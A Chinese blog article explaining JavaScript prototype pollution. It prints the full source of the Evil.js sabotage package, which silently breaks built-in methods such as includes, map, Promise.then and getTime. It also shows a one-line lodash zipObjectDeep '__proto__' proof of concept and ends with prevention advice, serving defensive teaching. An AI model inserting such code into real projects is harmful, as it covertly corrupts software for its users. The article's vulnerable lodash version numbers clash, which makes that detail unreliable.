遭了!JavaScript 代碼被投毒了
不知大家是否還記得兩年前 Github 出現(xiàn)的一個名為 Evil.js 的項目,其號稱專治 996 公司,實際就是給前端項目“投毒”。本文就來聊一聊這個項目背后的故事:原型污染。
原型污染是一種很少被關(guān)注但潛在風(fēng)險嚴(yán)重的安全漏洞,它影響基于原型的編程語言,例如 JavaScript。這種漏洞通過篡改對象的原型鏈,從而影響所有基于該原型的對象。
基于原型的編程范式
在深入探討原型污染之前,先來回顧一下 JavaScript基于原型的編程范式。
JavaScript 的原型機制是其面向?qū)ο缶幊棠P偷暮诵?,它允許對象通過原型鏈來繼承屬性和方法。在 JavaScript 中,每個對象都有一個與之關(guān)聯(lián)的原型對象,當(dāng)試圖訪問一個對象的屬性或方法時,如果該對象本身沒有該屬性,JavaScript 就會查找該對象的原型對象,看原型對象是否有這個屬性。這個過程會一直持續(xù)到原型鏈的末端,即 Object.prototype。
構(gòu)造函數(shù)是用于創(chuàng)建和初始化新對象的特殊函數(shù)。當(dāng)使用 new 關(guān)鍵字調(diào)用構(gòu)造函數(shù)時,會創(chuàng)建一個新對象,并將該對象的原型設(shè)置為構(gòu)造函數(shù)的 prototype 屬性所指向的對象。每個函數(shù)都有一個 prototype 屬性,這個屬性是一個對象,包含了可以由特定類型的所有實例共享的屬性和方法。
在 ES6 之前,通常使用非標(biāo)準(zhǔn)的 __proto__ 屬性來訪問或修改一個對象的原型(盡管許多瀏覽器都支持它,但它不是 ECMAScript 標(biāo)準(zhǔn)的一部分)。然而,更推薦的做法是使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法來訪問和修改對象的原型。
雖然 ES6 引入了 class 和 extends 關(guān)鍵字,這兩個關(guān)鍵字提供了一種更接近于傳統(tǒng)類繼承的語法糖,但實際上它們?nèi)匀皇腔谠玩湹摹?/p>
下面來看一個栗子:
// 定義一個構(gòu)造函數(shù)
function Car(brand, color) {
this.brand = brand;
this.color = color;
}
// 在 Car 的原型上添加一個方法
Car.prototype.drive = function() {
return "The " + this.brand + " " + this.color + " car is driving away.";
};
// 創(chuàng)建一個 Car 的實例
let redCar = new Car("BMW", "red");
// 訪問實例的屬性
console.log(redCar.brand); // 輸出 "BMW"
console.log(redCar.color); // 輸出 "red"
// 調(diào)用實例繼承自原型的方法
console.log(redCar.drive()); // 輸出 "The BMW red car is driving away."
// 創(chuàng)建一個繼承自 Car 的新構(gòu)造函數(shù)
function ElectricCar(brand, color, batteryRange) {
// 調(diào)用 Car 的構(gòu)造函數(shù),繼承其屬性
Car.call(this, brand, color);
this.batteryRange = batteryRange;
}
// 設(shè)置 ElectricCar 的原型為 Car 的實例,從而繼承 Car 的方法
ElectricCar.prototype = Object.create(Car.prototype);
ElectricCar.prototype.constructor = ElectricCar;
// 添加 ElectricCar 特有的方法
ElectricCar.prototype.recharge = function() {
return "The " + this.brand + " is recharging.";
};
// 創(chuàng)建一個 ElectricCar 的實例
let tesla = new ElectricCar("Tesla", "blue", 300);
// 訪問繼承的屬性和方法
console.log(tesla.brand); // 輸出 "Tesla"
console.log(tesla.drive()); // 輸出 "The Tesla blue car is driving away."
// 訪問 ElectricCar 特有的方法
console.log(tesla.recharge()); // 輸出 "The Tesla is recharging."
在這個例子中定義了一個 Car 構(gòu)造函數(shù)和一個 ElectricCar 構(gòu)造函數(shù)。ElectricCar 通過將其原型設(shè)置為 Car 的一個實例來繼承 Car 的屬性和方法。我們還為 ElectricCar 添加了一個特有的方法 recharge。這樣,ElectricCar 的實例 tesla 就可以訪問繼承自 Car 的屬性和方法,以及 ElectricCar 特有的方法。
原型污染
原型污染發(fā)生在攻擊者能夠修改 JavaScript 對象原型時。由于JavaScript的原型鏈機制,如果攻擊者能夠操縱或覆蓋某些原型對象的屬性或方法,那么這種修改將會影響到所有繼承自該原型的對象。這可能導(dǎo)致應(yīng)用的行為異常,甚至被攻擊者利用來執(zhí)行惡意代碼或竊取敏感數(shù)據(jù)。
原型污染通常發(fā)生在以下情況:
- 應(yīng)用沒有正確驗證或過濾用戶輸入,導(dǎo)致惡意代碼被插入到對象的原型中。
- 使用了不安全的第三方庫或框架,這些庫或框架可能允許原型被意外修改。
下面來了解兩個原型污染的實際例子。
Evil.js
2022年某一天,好多前端群都在瘋傳一個名為 Evil.js 的開源項目,看了一眼,好家伙,不簡單?。?/p>
由于這個庫傳播比較廣泛,作者緊急刪除了發(fā)布在 npm 的包,并發(fā)布了聲明(保命):
聲明:本包的作者不參與注入,因引入本包造成的損失本包作者概不負(fù)責(zé)。
故事到這里就結(jié)束了。那作者是怎么實現(xiàn)的呢?了解原型的小伙伴第一個想到的應(yīng)該就是作者修改了這些 JavaScript 內(nèi)置對象的原型。為了驗證想法,我們來看看源碼:
(global => {
/**
* If the array size is devidable by 7, this function aways fail
* @zh 當(dāng)數(shù)組長度可以被7整除時,本方法永遠(yuǎn)返回false
*/
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
/**
* Array.map will always be missing the last element on Sundays
* @zh 當(dāng)周日時,Array.map方法的結(jié)果總是會丟失最后一個元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* Array.fillter has 10% chance to lose the final element
* @zh Array.filter的結(jié)果有2%的概率丟失最后一個元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* setTimeout will alway trigger 1s later than expected
* @zh setTimeout總是會比預(yù)期時間慢1秒才觸發(fā)
*/
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
/**
* Promise.then has a 10% chance will not register on Sundays
* @zh Promise.then 在周日時有10%幾率不會注冊
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
/**
* JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 會把'I'變成'l'
*/
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
/**
* Date.getTime() always gives the result 1 hour slower
* @zh Date.getTime() 的結(jié)果總是會慢一個小時
*/
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
/**
* localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 有5%幾率返回空字符串
*/
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
})((0, eval('this')));
果然,只要原本是在原型上定義的方法,修改方式都是修改原型。那么,只要這段代碼安裝/插入到前端項目中,就會污染部分 JavaScript 的原型,那么在使用這些原型上的方法時,就會有一定概率出現(xiàn)上面所說的異常情況,這就是原型污染。
lodash
下面再來看一下之前 Lodash 被原型污染的故事,存在問題的版本為 4.17.15。
在 lodash 的 4.17.15 版本中,存在一個原型污染的漏洞。這個漏洞允許攻擊者通過特定的函數(shù)(如 merge、mergeWith、defaultsDeep、zipObjectDeep)來注入或修改 Object.prototype 的屬性。由于這些屬性會被添加到所有對象的原型鏈上,因此它們將影響所有在 JavaScript 環(huán)境中創(chuàng)建的對象。
比如,利用 Lodash 的 zipObjectDeep 函數(shù),攻擊者可以創(chuàng)建一個對象,并通過特定的鍵(如 __proto__)來污染原型鏈。
import _ from 'lodash';
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 輸出 123
漏洞影響:
- 服務(wù)器崩潰:如果攻擊者注入了惡意代碼或大量數(shù)據(jù)到原型鏈中,它可能會導(dǎo)致服務(wù)器崩潰或變得無法響應(yīng)所有請求。
- 遠(yuǎn)程代碼執(zhí)行:在某些情況下,攻擊者可能能夠通過注入特定函數(shù)或?qū)ο髞韺崿F(xiàn)遠(yuǎn)程代碼執(zhí)行。
預(yù)防原型污染
要防止原型污染,可以遵循以下幾個步驟和策略:
- 了解原型污染的原因:
- 原型污染的根本原因在于JavaScript的原型鏈繼承機制,使得攻擊者有可能通過修改對象的原型來影響所有基于該原型創(chuàng)建的實例。
- 惡意代碼的注入,如用戶輸入或第三方API,如果沒有被妥善地校驗和清洗,就可能導(dǎo)致原型污染。
- 使用安全編程實踐:
避免直接修改全局對象的原型:盡量使用其他方式擴展功能,而不是直接修改原型。
使用對象的淺拷貝或深拷貝:在創(chuàng)建新的對象時,使用淺拷貝或深拷貝,而不是直接修改原型。
避免在第三方庫上修改原型:防止對其他模塊產(chǎn)生意外影響。
使用嚴(yán)格模式("use strict"):這有助于捕獲一些潛在的原型鏈污染問題。
驗證和清理輸入數(shù)據(jù):
確保所有的輸入數(shù)據(jù)都經(jīng)過嚴(yán)格的驗證,以防惡意數(shù)據(jù)造成原型污染。
對于不可信的數(shù)據(jù),實施一系列的驗證措施,包括數(shù)據(jù)類型、格式、長度等的檢查。
使用凍結(jié)對象:
使用Object.freeze()來凍結(jié)對象,使其無法被修改。這可以防止攻擊者通過修改凍結(jié)對象的原型來造成污染。
使用替代數(shù)據(jù)結(jié)構(gòu):
在某些情況下,可以使用Map代替普通的JavaScript對象來儲存鍵值對。因為Map不會受到原型污染的影響。
更新和維護(hù)第三方庫:
保持所使用的第三方庫(如lodash等)為最新版本,以利用其中的安全修復(fù)。
特別是針對已知存在原型污染問題的庫(如 lodash 4.7.12 之前版本、jQuery 3.4.0之前版本),應(yīng)盡快更新到修復(fù)了該問題的版本。